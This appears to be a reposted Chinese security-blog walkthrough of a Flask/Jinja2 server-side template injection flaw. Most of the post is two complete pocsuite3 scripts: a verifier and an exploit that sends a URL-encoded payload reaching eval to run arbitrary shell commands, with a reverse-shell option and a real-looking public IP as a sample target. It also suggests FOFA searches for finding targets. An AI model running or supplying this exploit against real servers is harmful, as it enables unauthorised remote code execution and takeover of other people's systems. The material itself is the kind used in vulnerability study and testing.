本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-flask-ssti(模版注入漏洞) 漏洞利用
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
Flask是一个轻量级的可定制框架,使用Python语言编写,较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发,开发人员分工合作,小型团队在短时间内就可以完成功能丰富的中小型网站或Web服务的实现。另外,Flask还有很强的定制性,用户可以根据自己的需求来添加相应的功能,在保持核心功能简单的同时实现功能的丰富与扩展,其强大的插件库可以让用户实现个性化的网站定制,开发出功能强大的网站。flask主要是使用的jinja2来作为渲染模板。
而jinja2模板若过滤不严则存在ssti注入,ssti注入又称服务器端模板注入攻击(Server-Side Template Injection),和sql注入一样,也是由于接受用户输入而造成的安全问题。
![图片[1]--flask-ssti(模版注入漏洞) 漏洞利用-安全小天地](https://img.godyu.com/2023/12/20231226125353235.png?imageView2/0/format/webp/q/75)
0x03 漏洞复现
漏洞环境:flask
FOFA: “flask”
前置知识:
1.在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
2.我们的思路就是从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals[‘builtins’]即可调用eval等执行任意代码
1.测试漏洞页面是否可以执行乘法表达式,回显4,证明存在漏洞
http://x.x.x.x:8000/?name={{2*2}}
2.这里就可以编写出pocsuite3的poc,执行成功,证明存在漏洞,如下:
<strong>python3 cli.py -r pocs/poc-flask.py -u http://x.x.x.x:8000 --verify</strong>
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class DemoPOC(POCBase):#漏洞信息
vulID = \'1.1\'
version = \'1.1\'
author = [\'1.1\']
vulDate = \'1.1\'
createDate = \'1.1\'
updateDate = \'1.1\'
references = [\'flask\']
name = \'flask\'
appPowerLink = \'flask\'
appName = \'flask\'
appVersion = \'flask\'
vulType = VUL_TYPE.CODE_EXECUTION
desc = \'\'\'
flask
\'\'\'
samples = [\'96.234.71.117:80\']
category = POC_CATEGORY.EXPLOITS.REMOTE
def _verify(self):
result = {}
path = \"?name=\"#路径
url = self.url + path#拼接url:http://x.x.x.x:8000/?name=
#print(url)
payload = \"{{22*22}}\"#payload
#print(payload)
try:
resq = requests.get(url + payload)#get拼接poc:http://x.x.x.x:8000/?name={{22*22}}
if resq and resq.status_code == 200 and \"484\" in resq.text:#是否存在484
result[\'VerifyInfo\'] = {}#存在输出结果
result[\'VerifyInfo\'][\'URL\'] = url
result[\'VerifyInfo\'][\'Name\'] = payload
except Exception as e:
return #不存在输出空
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)#输出result结果
if result:#不为空
output.success(result)#输出成功
else:
output.fail(\'target is not vulnerable\')#否则输出漏洞不存在
return output
register_poc(DemoPOC)
![图片[2]--flask-ssti(模版注入漏洞) 漏洞利用-安全小天地](https://img.godyu.com/2023/12/20231226205354453.png?imageView2/0/format/webp/q/75)
3.编写exp,执行whoami命令,回显www-data
python3 cli.py -r pocs/exp-flask.py -u http://x.x.x.x:8000 --attack --command whoami
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class DemoPOC(POCBase):#漏洞信息
vulID = \'1.1\'
version = \'1.1\'
author = [\'1.1\']
vulDate = \'1.1\'
createDate = \'1.1\'
updateDate = \'1.1\'
references = [\'1.1\']
name = \'flack\'
appPowerLink = \'flack\'
appName = \'flask\'
appVersion = \'flask\'
vulType = VUL_TYPE.CODE_EXECUTION
desc = \'\'\'
\'\'\'
samples = [\'96.234.71.117:80\']
category = POC_CATEGORY.EXPLOITS.REMOTE
def _options(self):#反弹shell模块,暂时用不上
o = OrderedDict()
payload = {
\"nc\": REVERSE_PAYLOAD.NC,
\"bash\": REVERSE_PAYLOAD.BASH,
}
o[\"command\"] = OptDict(selected=\"bash\", default=payload)
return o
def _verify(self):#反弹shell模块
output = Output(self)
result = {}
def _attack(self):
result = {}
path = \"?name=\"#路径
url = self.url + path#拼接url:http://x.x.x.x:8000/?name=
#print(url)
cmd = self.get_option(\"command\")#定义一个command参数,输入代码执行参数
payload = \'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(\"os\").popen(\"\'+cmd+\'\").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D\'#从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals[\'builtins\']即可调用eval等执行任意代码
try:
resq = requests.get(url + payload)#get方法拼接url和payload
t = resq.text#返回命令执行结果
t = t.replace(\'\\n\', \'\').replace(\'\\r\', \'\')
print(t)#打印结果
t = t.replace(\" \",\"\")
result[\'VerifyInfo\'] = {}#存在输出结果
result[\'VerifyInfo\'][\'URL\'] = url
result[\'VerifyInfo\'][\'Name\'] = payload
except Exception as e:
return#不存在输出空
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)#输出result结果
if result:#不为空
output.success(result)#输出成功
else:
output.fail(\'target is not vulnerable\')#否则输出漏洞不存在
return output
register_poc(DemoPOC)
![图片[3]--flask-ssti(模版注入漏洞) 漏洞利用-安全小天地](https://img.godyu.com/2023/12/20231226205355670.png?imageView2/0/format/webp/q/75)
暂无评论内容